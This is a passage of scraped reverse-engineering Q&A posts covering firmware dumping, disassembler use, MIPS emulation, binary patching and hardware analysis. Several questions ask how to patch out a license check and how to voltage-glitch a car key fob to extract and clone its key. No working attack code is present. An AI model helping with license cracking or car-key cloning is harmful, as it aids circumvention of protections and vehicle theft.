+  00059ce0 927  Blowfish ks3 table [32.le.1024]
+  007b1a86 2545 anti-debug: IsDebuggerPresent [..17]
+  007b7e07 1038 padding used in hashing algorithms (0x80 0 ... 0) [..64]
+
+ +It must be blowfish. Now to find the key!!! +" +"['hardware', '8051']"," Title: Is there a way to identify a specific microprocessor model?Body: I'm working on reversing a USB flash drive controller chip. I know there's a microprocessor that runs some 8051 variant, and I have the ability to run arbitrary code on it. There's lots of different 8051-like manufacturers though, and I'd like to find out the specific processor model on this specific chip. + +I don't think the reason is relevant, but it's because I'm interested in breaking a model-specific code protection mechanism, and I need to know the model for it. + +My question is, is there some standard way to find out the model/manufacturer of the processor? Maybe a special function register that holds a vendor specific signature, or something akin to x86's CPUID. I could break the chip and look for the processor within but I'd really prefer not to do that. +" +"['firmware', 'hardware', 'firmware-analysis']"," Title: Dumping firmware from Winbond W25Q64JVSSIQ using BusPirateBody: I have a Winbond W25Q64JVSSIQ flash chip that supports SPI. I've connected BusPirate through a SOP8 cable to the memory chip. PWR and VREG LEDs are on, so they're connected. BusPirate is connected to a Kali Linux VM on my host. I'm using the command, sudo ./flashrom -p buspirate_spi:dev=/dev/ttyUSB0 to identify the chip, but flashrom isn't able to. + +
root@malnet:/opt/flashrom# sudo ./flashrom -p buspirate_spi:dev=/dev/ttyUSB0
+flashrom v1.1-rc1-121-g8962267 on Linux 4.19.0-kali5-amd64 (x86_64)
+flashrom is free software, get the source code at https://flashrom.org
+
+Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
+Bus Pirate firmware 6.1 and older does not support SPI speeds above 2 MHz. Limiting speed to 2 MHz.
+It is recommended to upgrade to firmware 6.2 or newer.
+No EEPROM/flash device found.
+Note: flashrom can never write if the flash chip isn't found automatically.
+
+ +How do I get the firmware dumped from the chip? Any ideas as to why flashrom may not be working or alternate methods to dump? +" +"['debugging', 'hardware', 'integrated-circuit']"," Title: Trying to identify Renesas custom SoC through CPU die inspectionBody: Was wondering if someone could help me identify which series a Renesas Custom SoC belongs to within the super-H family by looking at optical images of the die circuitry layout of the device, and by reviewing the other documents. PDF of die analysis. (It's the part # R8A02021ABG) The device is mounted to a Roland GR-55 synthesizer, and what I'm trying to do is properly setup the unit's debugger so I can try to create simple patches for the firmware, like changing string names. +So far I've been able to identify that its a custom SoC by noticing that the unique part number which is written on the device is present in the die marking which is part of the metal layers. I was wondering if by looking someone could tell what functional blocks are on the die or the size of the memory/cache. I've identified it's in the super-H family by reviewing the GR-55 schematics + (PG.34) and seeing the port for the E10A-usb debugger/emulator. Also when reviewing the schematics for other Roland devices that use the same custom SoC like the Roland aerophone ae10, and Jupiter 80, I could see the debug port was labled E10A-usb. E10a-usb supported devices. +So with this info gathered i'm still unsure which series it belongs to. Super-H series. I believe its most likely based off the SH-3-DSP or SH-4-DSP devices. I only say this because I know Roland is using DSP technology on the GR-55, and only devices in those series are using DSP. So from here I've been trying to see if there is a device in these series with a superset of features that are included in the GR-55 like DSP. I've also looked for A/D and D/A converters which the GR-55 states it has at 24 bit. (pg.3 GR-55 schematics) and none of the devices in this family have converters that go as high as 24 bit. when reviewing the schematics for the Roland Jupiter-80 I came across a note that looks like it states the clock speed of the custom SoC at 192MHz/64MHz but I don't know if it's stating the maximum clock speed or somthing els. I don't know how to interpret this note, and was wondering if someone could explain what it's saying. A similar note can be seen in the GR-55 schematics. +Also I was wondering if it's common for debuggers to provide any info on the devices they're connected to. Maybe the E10A-usb emulator can provide some info on my device. +super-H devices specifications +" +['radare2']," Title: Understanding output of rabin2Body: I am wondering what the crypto, linenum, pcalign, relocs and va values mean in the output of rabin2. + +I took a look in the source code of radare2 and it seems for ELF va is always true, I assume it means virtual addressing? + +https://github.com/radareorg/radare2/blob/1d3698bc96a09e45c4fff4c090278623f146929c/libr/bin/format/elf/elf.c#L2132-L2134 + + + +
int Elf_(r_bin_elf_has_va)(ELFOBJ *bin) {
+    return true;
+}
+
+ +I would assume relocs refer to the presence of the relocation table however from my testing that does not seem to be the case. + +For linenum I think it refers information relating to the line numbers in the source code? But this still seem to appear true when there is no DWARF information on the ELF binary. + +As for the other 2 I have no idea what they are referring to. + +
arch     x86
+baddr    0x0
+binsz    6618
+bintype  elf
+bits     64
+canary   true
+sanitiz  false
+class    ELF64
+crypto   false
+endian   little
+havecode true
+intrp    /lib64/ld-linux-x86-64.so.2
+laddr    0x0
+lang     c
+linenum  true
+lsyms    true
+machine  AMD x86-64 architecture
+maxopsz  16
+minopsz  1
+nx       true
+os       linux
+pcalign  0
+pic      true
+relocs   true
+relro    full
+rpath    NONE
+static   false
+stripped false
+subsys   linux
+va       true
+
+" +"['ida', 'decompilation', 'hexrays']"," Title: IDA pseudocode supportBody: How can I know which processors IDA knows how to view pseudocode of? + +If IDA does not know to view pseudocode for my processor, how can I fix that?? +" +"['ida', 'binary-analysis', 'idapython']"," Title: running IDA python without guiBody: I am trying to run IDA without GUI. My purpose is to run a specific script that receives arguments via my main program against multiple files, but for some reason, it does not work for me. Sometimes it opens IDA without any reason. + +I am using the following commands: + +One command is: 'C:\\IDA\\ida.exe -B %s' % file + +Second command is: cmd = 'C:\\IDA\\ida.exe -a- -A -S""script.py ""%s"""" %s' % (file, file) +" +"['python', 'shared-object']"," Title: How to reverse a Cython shared object (.so)Body: I have a .so file (ELF 64-bit LSB shared object, x86-64, dynamically linked, no section header) with an embedded Cython program. +To run the program inside the .so file there is a single python3 program that imports the .so and calls its main method. +This method just asks for an input and checks it against an internal string, informing the user about the comparison. +I want to know if it its possible to decompile the .so file in order to obtain the original Python source code using an intermediate uncompyle6 or similar apps (from .so --> python byte code --> uncompyle6 --> python source code). I have tried some tools (meliae, uncompyle6, pyRETic...) to no avail. +If decompiling is not an option, I wonder if a debugging session with Ghidra, radare2 or GDB would help me to reverse engineer the code (the main goal is to obtain the string that this app expects from the user). I tried to launch the main app and attach radare2 to the process (when the app asks for the user input). I found some of the strings that the binary is using for informing about wrong or good inputs and tried to set some hardware breakpoints when accessing those strings, just to know which is the address where the program compares to a right or wrong input. But I haven't been able to grok it. +Another attempt has been to set a breakpoint in the PyEval_EvalFrameEx instruction (trying to obtain the byte-code step-by-step), but I don't know if this is a viable option. +Any recommendation about how to reverse engineer this kind of Cython binary shared objects would be greatly appreciated. +" +"['disassembly', 'register']"," Title: 80188 relocation register mysteryBody: I'm reverse engineering an embedded system using the 80C188 and the way the relocation register (RELREG) is used mystifies me. + +One of the first steps at initialization is to move the processor control registers by writing a new value to the RELREG. + +By default, the RELREG has the value 20FFH which places the register block at the top of I/O space at address 0FFxxH. The example given in the Intel app note describes writing the value of 1100H to the RELREG which then places the register block in memory space at 100xxH. Clear enough. + +However, in the system I am examining, the value written is 1804H which I would expect to place the register block in memory space at the address 804xxH, yet the following writes to initialize the registers to operating values are all to 0F4xxH in memory space. The processor is operating fine in the system so this is not a programming bug. + +I am absolutely sure about these addresses as not only do I see them in the code itself on the EPROM but also in logic analyzer traces of code execution at startup. + +Does anyone have an explanation for this? +" +"['firmware', 'linux', 'mips', 'qemu', 'firmware-analysis']"," Title: `qemu-mips-static` chroot causing `Invalid ELF image` errorBody: I'm trying to emulate a MIPS binary on my Ubuntu 16.04 x86 system, but I'm not able to. I chroot into the squashfs-root filesystem that I got from binwalking the firmware image. + +
kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ ls -l
+total 3092
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 bin
+drwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 dev
+drwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 etc
+drwxr-xr-x 3 kan3k1 kan3k1    4096 Mar 18  2018 lib
+lrwxrwxrwx 1 kan3k1 kan3k1      11 Mar 18  2018 linuxrc -> bin/busybox
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 mnt
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 proc
+-rwxr-xr-x 1 kan3k1 kan3k1 3120160 Dec 17 01:07 qemu-mips-static
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sbin
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sys
+drwxr-xr-x 4 kan3k1 kan3k1    4096 Mar 18  2018 usr
+drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 var
+drwxr-xr-x 9 kan3k1 kan3k1    4096 Mar 18  2018 web
+
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/ls
+./bin/ls: Invalid ELF image for this architecture
+
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/busybox 
+./bin/busybox: Invalid ELF image for this architecture
+
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/ls
+bin/ls: symbolic link to busybox
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/busybox 
+bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
+
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/ls
+arch     mips
+baddr    0x400000
+binsz    260852
+bintype  elf
+bits     32
+canary   false
+class    ELF32
+crypto   false
+endian   little
+havecode true
+intrp    /lib/ld-uClibc.so.0
+laddr    0x0
+lang     c
+linenum  false
+lsyms    false
+machine  MIPS R3000
+maxopsz  16
+minopsz  1
+nx       false
+os       linux
+pcalign  0
+pic      false
+relocs   false
+relro    no
+rpath    NONE
+sanitiz  false
+static   false
+stripped true
+subsys   linux
+va       true
+
+kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/busybox 
+arch     mips
+baddr    0x400000
+binsz    260852
+bintype  elf
+bits     32
+canary   false
+class    ELF32
+crypto   false
+endian   little
+havecode true
+intrp    /lib/ld-uClibc.so.0
+laddr    0x0
+lang     c
+linenum  false
+lsyms    false
+machine  MIPS R3000
+maxopsz  16
+minopsz  1
+nx       false
+os       linux
+pcalign  0
+pic      false
+relocs   false
+relro    no
+rpath    NONE
+sanitiz  false
+static   false
+stripped true
+subsys   linux
+va       true
+
+ +My system info: + +
kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ uname -a
+Linux kaido 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 10:19:08 UTC 2018 i686 i686 i686 GNU/Linux
+
+ +Any idea on how to resolve this? All the resources that I was able to find online have something to do with .so files causing the error. +" +"['ida', 'decompiler']"," Title: IDA Pro: __GETDS breaks decompiler outputBody: when trying to decompile some interrupt service routines done with Watcom, the __GETDS call at the beginning of the functions will break the decompiler output completely. +Here's the disassembly: + + +And here the decompiler output: + + +What could be the reason for this? Is there a way to fix this? The only thing that worked for me was creating a separate function for the code below __GETDS, but that's not really satisfying. +Thanks in advance! +" +"['assembly', 'debugging']"," Title: CMP ecx with DAT_Body: So I encountered this bit of assembly code: + +
cmp dword ptr [ECX + 0x24c], DAT_007c6bc0
+
+ +It's comparing ECX + 0x24c with DAT_007c6bc0. If they are not equal, it will just return from the function. + +I have compared the output of Ghirda and IDA (free) and in IDA it looks like this: + +
cmp dword ptr [ecx + 24Ch], offset unk_7C6BC0
+
+ +Now, what exactly is DAT_007c6bc0? I couldn't really find any information on it, and how does it compare to ECX + 0x24c since it just checks if the address is the same, right? +" +['hardware']," Title: Hacking old gym equipmentBody: Anyone reversed ifit? + +I just picked up a discounted NordicTrack Elite 11.0 Elliptical on Ebay, I want to hack it. + +I would like to extract performance data and it would be great if I could control the elliptical to increase/decrease the intensity? + +I can see the elliptical has an ifit port, I think this takes an ifit module which adds wifi to the elliptical, I think this might tie me to the ifit subscription app though which is bad, anyone hacked this or know anything about it, maybe the PCB fingers (the module connects to) are just a serial communications port? + +Maybe I can use bluetooth (might just be for heart rate), or even USB (might just be for phone charging), where do I even start? + +Ideally if I could hack something together without having to buy anything proprietary or be locked into monthly subscriptions then that would be fab, it doesn't need to be fancy. + +FWIW I'm pretty handy with computers and I can solder, I also have access to an oscilloscope, open to suggestions on a logic analyser I could buy, if that will help? + +This looks interesting: + +https://github.com/dawsontoth/zwifit +https://github.com/jamesdotcuff/iFitController + +Also it looks like some people just remove the head unit and replace it with a SBC like RPi (and display) wired into the sensors, I probably don't want to go that far. + +I could buy the ifit module, they're going for around A$250 on ebay, would that be the best place to start? + +The optimal result is I can get data from the elliptical, into one of these ""games"" where you can race up the side of a mountain. +" +"['function-hooking', 'dll-injection', 'injection', 'api']"," Title: learning detour and code injectionBody: i am looking to expand my knowledge so i can someday(hopefully within few months) be able to join the reverse engineering community, probably in the anti-virus/defense field. + +i was wondering, since it is not easy to find information regarding those topics: is there a book(preferably modern) or a course that teaches important and vital subjects such as detour and code injections? i am really enthusiastic with this field and i really eager to study as much as possible to improve and be efficient so i could help a lot of people in this important field. + +however, sadly, after many searches, i found it to be extremely hard to locate information on those subjects, let alone modern information. so i'd like to request your help with it. + +p.s: if no book/course available, even resources on the web will be gems to me. +" +"['firmware', 'hardware', 'firmware-analysis']"," Title: Analysis of BusyBox Shell router U-Boot firmwareBody: I am trying to get access to the BusyBox Shell and if possible to get a firmware dump. + +The ""U-Boot"" has limited possibilities but what is good is ""sf - SPI flash sub-system"". + +Can anyone help me get access to the shell? Or a dump of the whole firmware without SOIC8 clip. + +I use a UART interface on the hardware: + +
Starting kernel ...
+
+Linux version 2.6.30.9 (root@grant-virtual-machine) (gcc version 4.4.6 (Realtek RSDK-1.5.6p2) ) #141 Mon Jun 17 11:13:56 CST 2019 [luna SDK 1.0.51]
+RTL9602C PLL
+CPU revision is: 0000dc02
+Determined physical RAM map:
+ memory: 02eff000 @ 00000000 (usable)
+ memory: 00eff000 @ 03000000 (usable)
+II: Kernel command line modified: mtdparts=rtk_spi_nor_mtd ->   mtdparts=physmap-flash
+Zone PFN ranges:
+  Normal   0x00000000 -> 0x00003eff
+Movable zone start PFN for each node
+early_node_map[2] active PFN ranges
+    0: 0x00000000 -> 0x00002eff
+    0: 0x00003000 -> 0x00003eff
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 15744
+Kernel command line: console=ttyS0,115200   mtdparts=physmap-flash:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5
+root_dev_setup line 180 root: 31:5
+icache: 64kB/32B, dcache: 32kB/32B, scache: 0kB/0B
+NR_IRQS:128
+PID hash table entries: 256 (order: 8, 1024 bytes)
+console [ttyS0] enabled
+
+ +
U-Boot 2011.12.M (Sep 29 2017 - 16:08:09)
+
+SPI-F: EF4018/MMIO16-1 1x16 MB (plr_flash_info @ 83c23714)
+Loading 8192B env. variables from offset 0x40000
+Loading 8192B env. variables from offset 0x42000
+*** Warning - bad CRC, using default environment
+
+Loaded 8192B env. variables from offset 0x40000
+mtdparts0=mtdparts=rtk_spi_nor_mtd:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5
+Net:   LUNA GMAC
+Warning: eth device name has a space!
+
+Hit any key to stop autoboot:  0
+## Booting kernel from Legacy Image at 94200000 ...
+   Image Name:   Linux Kernel Image
+   Created:      2019-06-17   3:16:33 UTC
+   Image Type:   MIPS Linux Kernel Image (lzma compressed)
+   Data Size:    2528816 Bytes = 2.4 MB
+   Load Address: 80000000
+   Entry Point:  80000000
+   Verifying Checksum ... OK
+   Uncompressing Kernel Image ... OK
+
+ +
#printenv
+baudrate=115200
+bootargs_base=console=ttyS0,115200
+bootcmd=setenv bootargs ${bootargs_base} ${mtdparts0};bootm ${img0_kernel}
+bootdelay=5
+erase_cfgfs=sf erase ${fl_cfgfs} +${fl_cfgfs_sz}
+erase_env=sf erase ${fl_env} +${fl_env_sz};sf erase ${fl_env2} +${fl_env_sz}
+ethact=LUNA GMAC
+
+fl_boot_sz=40000
+fl_cfgfs=44000
+fl_cfgfs_sz=1bc000
+fl_env=40000
+fl_env2=42000
+fl_env_sz=2000
+fl_kernel1=200000
+fl_kernel1_sz=400000
+fl_rootfs1=600000
+fl_rootfs1_sz=a00000
+fx1000_init=mw bb000084 00000048
+img0_kernel=94200000
+ipaddr=192.168.1.3
+mtdparts0=mtdparts=rtk_spi_nor_mtd:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5
+netmask=255.255.255.0
+serverip=192.168.1.7
+sgmii_init=mw bb000084 00000044
+stderr=serial
+stdin=serial
+stdout=serial
+upb=tftp 80000000 plr.img; crc32 ${fileaddr} ${filesize}; sf erase 0 +${fl_boot_sz}; sf write ${fileaddr} 0 ${filesize}
+upk=tftp 80000000 uImage; crc32 ${fileaddr} ${filesize}; sf erase ${fl_kernel1} +${fl_kernel1_sz}; sf write ${fileaddr} ${fl_kernel1} ${filesize}
+upr=tftp 80000000 rootfs; crc32 ${fileaddr} ${filesize}; sf erase ${fl_rootfs1} +${fl_rootfs1_sz}; sf write ${fileaddr} ${fl_rootfs1} ${filesize}
+upv=tftp 80000000 vm.img;upvmimg ${fileaddr}
+yu=loady 80000000; cp.b 80000000 81000000 ${filesize}; cmp.b 80000000 81000000 ${filesize}; sf erase 0 ${filesize}; sf write 80000000 0 ${filesize}
+Environment size: 1442/8187 bytes`
+
+ +
#md 94200000
+94200000: 27051956 2d28951a 5d070611 00269630    '..V-(..]....&.0
+94200010: 80000000 80000000 2f808b2c 05050203    ......../..,....
+94200020: 4c696e75 78204b65 726e656c 20496d61    Linux Kernel Ima
+94200030: 67650000 00000000 00000000 00000000    ge..............
+94200040: 5d000000 013c76b6 00000000 00000600    ]....<v.........
+94200050: 0395c7e8 666e5ec6 cddf5cd3 7f860981    ....fn^...\.....
+94200060: 66e4e47d 16454378 ba7286d7 10ac0e5f    f..}.ECx.r....._
+94200070: f4548875 7fd45d23 8321e1d6 6fac3711    .T.u..]#.!..o.7.
+94200080: a7076c68 3c27aa4a b8951c97 f585008d    ..lh<'.J........
+94200090: ec4f63f7 f8f232aa 1ce8ee62 fc24a98f    .Oc...2....b.$..
+942000a0: 333ae099 be5ca694 d30dce2b a68c092e    3:...\.....+....
+942000b0: 12e311f5 86510704 357b1219 64c20547    .....Q..5{..d..G
+942000c0: eaed521e e00f8734 f0708316 d5433715    ..R....4.p...C7.
+942000d0: 285ceb11 2f3b455b 69650bef d9a0f557    (\../;E[ie.....W
+942000e0: 1ae81e50 d473f125 bdfe34b3 e3cdab52    ...P.s.%..4....R
+942000f0: 3db532b3 8ccfc480 559a1511 a90508ff    =.2.....U.......
+
+ +
#help
+?               - alias for 'help'
+base            - print or set address offset
+bdinfo          - print Board Info structure
+boot            - boot default, i.e., run 'bootcmd'
+bootd           - boot default, i.e., run 'bootcmd'
+bootm           - boot application image from memory
+bootp           - boot image via network using BOOTP/TFTP protocol
+btg             - bus traffic generator sub-system
+cmp             - memory compare
+coninfo         - print console devices and information
+cp              - memory copy
+crc32           - checksum calculation
+echo            - echo args to console
+editenv         - edit environment variable
+env             - environment handling commands
+go              - start application at address 'addr'
+help            - print command description/usage
+iminfo          - print header information for application image
+imxtract        - extract a part of a multi-image
+itest           - return true/false on integer compare
+loadb           - load binary file over serial line (kermit mode)
+loads           - load S-Record file over serial line
+loady           - load binary file over serial line (ymodem mode)
+loop            - infinite loop on address range
+md              - memory display
+mdram_test      - mdram_test   - do DRAM test.
+mm              - memory modify (auto-incrementing address)
+mtest           - simple RAM read/write test
+mw              - memory write (fill)
+nm              - memory modify (constant address)
+printenv        - print environment variables
+reset           - Perform RESET of the CPU
+reset_all       - Perform whole chip RESET of the CPU
+reset_sw        - Perform software RESET
+run             - run commands in an environment variable
+saveenv         - save environment variables to persistent storage
+setenv          - set environment variables
+sf              - SPI flash sub-system
+sleep           - delay execution for some time
+source          - run script from memory
+tftpboot        - boot image via network using TFTP protocol
+upvmimg         - update kernel and rootfs by vmimg format on luna platform
+version         - print monitor, compiler and linker version
+
+" +"['debugging', 'process', 'api']"," Title: How to use API Monitor to filter function parameters?Body: I am monitoring a process using API monitor. I'm getting a lot of API calls unrelated to what I am interested in monitoring. I know about the Display Filter and have been using to filter API Names to what I am interested in but I am still getting a lot function calls with parameters that I am not interested in. + +Is there way to filter out/in function calls with certain parameters? +" +"['assembly', 'debugging', 'x64dbg']"," Title: bypass license of very old software, Access violation (C0000005) x32dbgBody: I'm trying to bypass the license of a very old software that i was using many years ago, now, the company of that software is closed and i can't get a license +so, with a little bit of knowledge in assembly i changed + +
mov byte ptr ds:[ecx+0x72], al
+
+ +to + +
mov al,1
+
+ + +then i got + + + +The software compare a hash with the hash of the key code you entered, if it's the same, it will work + +a random license request code generated everytime you run the .exe + +using GenerateRandomNumber + +and hashed by using HkdfHashAlgorithm + +here's the .exe + +https://www.mediafire.com/file/ujd576jm8eg7oay/SpoolManager.exe/file + +I'm not sure if that illigal to post it here, but I have no other solution + +Appreciate any help +" +"['functions', 'ghidra']"," Title: Function's signature with unmatching parametersBody: I have following code disassembled by ghidra: + +
PUSH      EBX
+PUSH      dword ptr [EBP + param_1]             wchar_t * _Format for swprintf
+PUSH      u_%s\%s_0040eb88                      size_t _Count for swprintf
+PUSH      dword ptr [EBP + param_3]             wchar_t * _String for swprintf
+CALL      dword ptr [->MSVCRT.DLL::swprintf]
+
+ +The 2nd parameter is unicode string %s\%s, but it should be size_t parameter, because swprintf function requires count parameter + +This is another code which uses the same function: + +
LEA       EAX=>local_4dc,[0xfffffb28 + EBP]
+PUSH      EAX                                        wchar_t * _Format for swprintf
+LEA       EAX=>windowsDir,[0xfffffd30 + EBP]
+PUSH      _Count_0040f40c                            size_t _Count for swprintf
+PUSH      EAX                                        wchar_t * _String for swprintf
+CALL      EDI=>MSVCRT.DLL::swprintf
+
+ +Again, _Count_0040f40c is unicode string %/Program Data detected as _Count + +Ghidra has correct function signature: + +
int swprintf (wchar_t * _String, size_t _Count, wchar_t * _Format, ...)
+
+ +Normal count parameter is always missing, what Ghidra detects doesn't refer to number type variable. It looks like if all functions were compiled without it. All those memory variables ghidra detects as count parameters are actually format parameters. If there was actual count parameter every time swprintf was called, everything would be looking good. +" +"['assembly', 'debugging', 'x64dbg']"," Title: change compare function in assembly and .exe stopped working x64dbgBody: I'm trying to bypass (crack) a very old software that require license in order to unlock all the features + +i was digging in the lines with a little bit of knowledge in assembly +and i found the line where it compare the hash of the request code with the hash of the license i entered + +this is the line ( not %100 sure ) + + +arrow1 where the random request code generated and the entered license saved to a param (not sure) + +arrow2 where the compare happen ( same not sure) + +The software compare a hash with the hash of the key code you entered, if it's the same, it will work + +a random license request code generated everytime you run the .exe + +using GenerateRandomNumber + + + +and hashed by using HkdfHashAlgorithm + + + +my question is + +when i change je 0x7C1AEF1F to jne 0x7C1AEF1F + + + +the software stopped working and when i execute it i got the command prompt for 1second and disappear + + + +so what i need to change in order to compare the hash of the request code with the same hash or to say if not equal so activated... + +Appreciate any help +" +['windows']," Title: How did Kaspersky replicate UAC overlay on Windows XPBody: How did Kaspersky replicate UAC overlay on Windows XP? Here is the screenshot to what I relate to, + + + +Upon encountering the overlay, + + + +Here is how to replicate the behaviour, + +
    +
  1. Get a Windows XP VM
  2. +
  3. Download Kaspersky suite compatible with XP. I worked on the following version, download
  4. +
  5. Install the app onto XP VM.
  6. +
  7. [Possibly optional] After installation, request a trial licence
  8. +
  9. Go to Settings (bottom-right corner) -> General (first tab) -> Protection - Untick . You should get the same Windows as in the screenshot
  10. +
+" +"['windows', 'debugging', 'virtual-machines', 'tracing']"," Title: How to track/debug/manipulate Windows processes in a VM?Body: I am trying to make some deep-level windows debuggig/tracing, utilizing virtualization. + +Considering that if a Windows runs in a virtual machine, theoretically I have total power over it - I could change its kernel/userspace data structures, trace it, modify it and so on. Without the need of its cooperativity. + +My favorite virtualization software is qemu, but anything is okay if I can do it. + +However, I would need some software support for the task. I need something, what can interact with the virtual machine, and most ideally, some support to track its memory content, find the processes and trace, what are they doing. + +Does anything exist for the task? +" +"['linux', 'python']"," Title: How to input ascii control character into program?Body: I am working on a CTF where I need to pass an address as input to a program. This address contains the value 0x09 (the tab character). This is causing me problems, because it seems that bash is interpreting the tab before it is input to the actual program. + +Say I have a simple bash script: + + + +
#!/usr/bin/env bash
+
+echo $1
+
+ +I would then like to pass e.g. ""1""+""\x09""+""2"" and have the output from the program be: ""1\x092"". + +However the tab character moves the ""2"" to the second argument and it is then not echoed. + +Currently if I do + + + +
./script.sh $(python -c 'print ""1""+""\x09""+""2""')
+
+ +It just echos ""1"". Is there a way to keep the three characters tied together? + +Thanks in advance +" +['debugging']," Title: Stuck at ntdll when trying to enter a game loopBody: I'm new to reverse enginnering and currently following Lena's tutorials. I wanted to put my new skills to use and wanted to reverse a simple game: https://github.com/Zolomon/labyrinth. + +I think I'm stuck somewhere in ntdll. How do I get out of that? It's after the game as been instantiated then everything stops working. + +I was hoping I would be stuck in the game loop and from there I was hoping to capture in-game movements. + +Below is a picture where I've put breakpoints right before the game window is created. + + +" +"['hardware', 'embedded', 'copy-protection']"," Title: Voltage Glitching to Read Internal EEPROMBody: I am trying to read the cryptographic key from my car key fob for exploration, basically seeing if I can clone it. + +I popped open the case and I see it's using a Microchip HCS361. The HCS361 stores it's key in internal EEPROM that cannot be read during normal operation. + +However, the datasheet says that ""At the end of the programming cycle, the device can be verified by reading back the EEPROM"". The mentioned programming cycle is just writing the EEPROM. + +I was thinking that maybe it is possible to perform a voltage glitching attack on the chip to make it think that it has just been programmed so that EEPROM can be read. + +The feasibility of this clearly depends on how the read protection is implemented on the chip. I would think that it would be basically a check if a certain bit is set in a register but I'm not sure. If this is the case, it should theoretically be possible to bypass that instruction via glitching. + +Based on the following diagram for how to perform the verification, + + + +I wrote a small Arduino sketch that does the following: + +
1. Set S1 and S3 to high
+2. Perform the glitch
+3. Clock S3 and read from DATA
+
+ +and retries with different glitch times. + +Most of the time, I get the expected PWM data on the DATA line that is transmitted on a button press. However, as the glitches get longer, I get more and more 0's. + +Is this method even remotely feasible or should I just program the chip and relearn it to my car? +" +['instrumentation']," Title: Do you know the equivalent of the Intel Pin utility for AMD processorsBody: Do you know an instrument equivalent to Intel Pin (https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool) for AMD processors, which helps me especially for reverse of whitebox (https://insinuator.net/2016/03/how-to-crack-a-white-box-without-much-effort/). +" +['malware']," Title: Fileless malware samplesBody: If file-based malware sample can be downloaded from sites such as theZoo aka Malware DB or any sites as suggested here, what about fileless malware as it doesn't store it's copy in the hard disk? + +If this is not the right site to ask, please let me know. +" +"['arm', 'crc', 'binary-editing']"," Title: Bin patching Arm7tdmi CRC32?Body: Ok so I am total noob here. I wanted to play with the bin from an instrument cluster I work on a lot. I was able to pull the bin off the MCU with a J-link. If I erase the chip and flash it with a bin from it or another cluster it works but if I change anything in the bin it won't work.. Don't worry I am not messing with the Odo value thats stored on an EEprom and easy to change lol. + +Learned a little about bin patching via youtube/google and ran the bin through binwalk. doing that binwalk says + +
+ Decimal: 211720 HEX:0x33b08 Description: crc32. +
+ +I'm guessing this CRC not matching is making it fail to boot. If I look at the bin with HxD I don't see anything that matches what Binwalk is saying but I am probably looking at it wrong. Where do I find the CRC in this bin from what address is this crc checking because if I use HxD or online CRC generators It doesnt match anything in the bin also... + +I am sure I am not describing this all correctly I am still learning and climbing mt. stupid. + +All I want to do is change some of the error messages to say something funny. I am just doing this for the novelty and to learn something new. + +Linked Github with the bin, Github link + +BTW all edits I make are one for one changes so I am not shifting anything around in the bin. The attached is unedited and works. +" +"['binary-analysis', 'elf', 'pe']"," Title: Importance of learning file structures for reverse engineering?Body: I'm new to reverse engineering and I have started to study the anatomy of specific file formats, specifically PE right now. I really enjoy learning the different parts of the files and the different flags. + +I was just wondering, what are practical uses of this in the work force of reverse engineering? + +I know they probably serve some purpose but I am really new to this field and I was wondering when you employed this knowledge before. +" +['entropy']," Title: What does entropy mean and how can it be used?Body: I'm playing around with binwalk -E and am just looking at some entropy graphs as I try to reverse engineer some CTF binaries. I kinda understand the use of data/information entropy in cryptography (it's often used to help determine what cipher/encryption is used) but I haven't read or heard anything about entropy in analysis of program. + +What does entropy really mean in reverse engineering? What does it say about a program? How can it be used? +" +"['disassembly', 'intel']"," Title: Learning Intel Disassembler, What to learn for Intel XEDBody: In order to learn about disassembly and code something like Capstone disassembler, HDE etc. for a function , calculate opcodes etc , Please advise on what I should know. I have some knowledge of Assembly language (NASM) and C, But what do I have to study to learn disassembly and design something like that? +" +"['debugging', 'hex']"," Title: I want to modify the dataBody: I am so newbie about this matter. + +I have a file XXXX.record file that contains a data. + +When I open the file + + + +How can I read this data and modify the values? + +thanks. + + +" +['elf']," Title: Reassembling ELF binary filesBody: I have been doing a number of CTF activities when I came across something I’m unfamiliar with. As I am somewhat new to exploitation and reverse engineering, this was unfamiliar to me. + +I have 7 pieces of an ELF binary file. I’ve been using readelf to get a better idea of where to put each piece. But I’m still unable to glean the order except for piece 4 contains the header and piece 6 contains the section names. + +I’ve been using ‘cat’ to glue the pieces together then run them through readelf and gdb. Is there an easier way that I’m just missing? + +For reference the particular example can be found on 0x0539.net -> Fangorn Forest -> Fragmented. I don’t want the answer. What I’m looking for is someone to point me in the right direction. +" +"['assembly', 'malware', 'winapi', 'calling-conventions']"," Title: CreateTimerQueueTimer arguments differs from WinAPIBody: I was reading a man page about CreateTimerQueueTimer. +
BOOL CreateTimerQueueTimer(
+  PHANDLE             phNewTimer,
+  HANDLE              TimerQueue,
+  WAITORTIMERCALLBACK Callback,
+  PVOID               DueTime,
+  DWORD               Period,
+  DWORD               Flags,
+  ULONG               Parameter
+);
+
+The doc states: +
